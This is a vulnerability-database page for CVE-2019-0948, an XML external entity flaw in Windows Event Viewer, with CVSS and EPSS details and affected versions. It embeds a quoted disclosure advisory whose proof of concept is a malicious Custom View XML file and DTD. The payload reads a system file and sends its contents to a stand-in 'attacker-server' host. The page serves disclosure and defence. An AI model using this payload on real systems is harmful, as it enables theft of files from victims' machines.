CVE-2019-0948 : Detail

CVE-2019-0948

5.5
/
Medium
A05-Security Misconfiguration
0.16%V3
Local
2019-06-12
11h49 +00:00
2019-07-10
09h06 +00:00
CVE.org
NVD
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CVE Descriptions

An information disclosure vulnerability exists in the Windows Event Viewer (eventvwr.msc) when it improperly parses XML input containing a reference to an external entity, aka 'Windows Event Viewer Information Disclosure Vulnerability'.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-611 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40863

Publication date : 2016-12-04 23h00 +00:00
Author : hyp3rlinx
EDB Verified : Yes

[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt [+] ISR: ApparitionSec [+] CVE: CVE-2019-0948 Vendor: ================= www.microsoft.com Product: ======================== Microsoft Event Viewer Version: 1.0 The Windows Event Viewer shows a log of application and system messages – errors, information messages, and warnings. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Windows Event Viewer user can import 'Custom View' files, these files contain XML, the parser processes External Entity potentially allowing attackers to gain remote file access to files on a victims system if user imports a corrupt XML file via remote share/USB (or other untrusted source). Tested Windows 7 SP1 Exploit code(s): =============== 1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer. 2) Action / Import Custom View 3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC 4) Files are accessed and sent to remote server. User gets error like "The specified custom view is not valid" attacker gets files! "payload.dtd" (host on attacker server) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>"> %all; "MyCustomView.xml" (malicious windows Event Custom View XML) <?xml version="1.0"?> <!DOCTYPE APPARITION [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Attacker server listener python -m SimpleHTTPServer 8080 Disclosure Timeline: ===================================== Vendor Notification: August 30, 2016 Vendor reply: "does not meet the bar for security servicing." August 30, 2016 December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_10 >> Version 1809

Microsoft>>Windows_10 >> Version 1903

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2016 >> Version 1803

Microsoft>>Windows_server_2016 >> Version 1903

Microsoft>>Windows_server_2019 >> Version -

References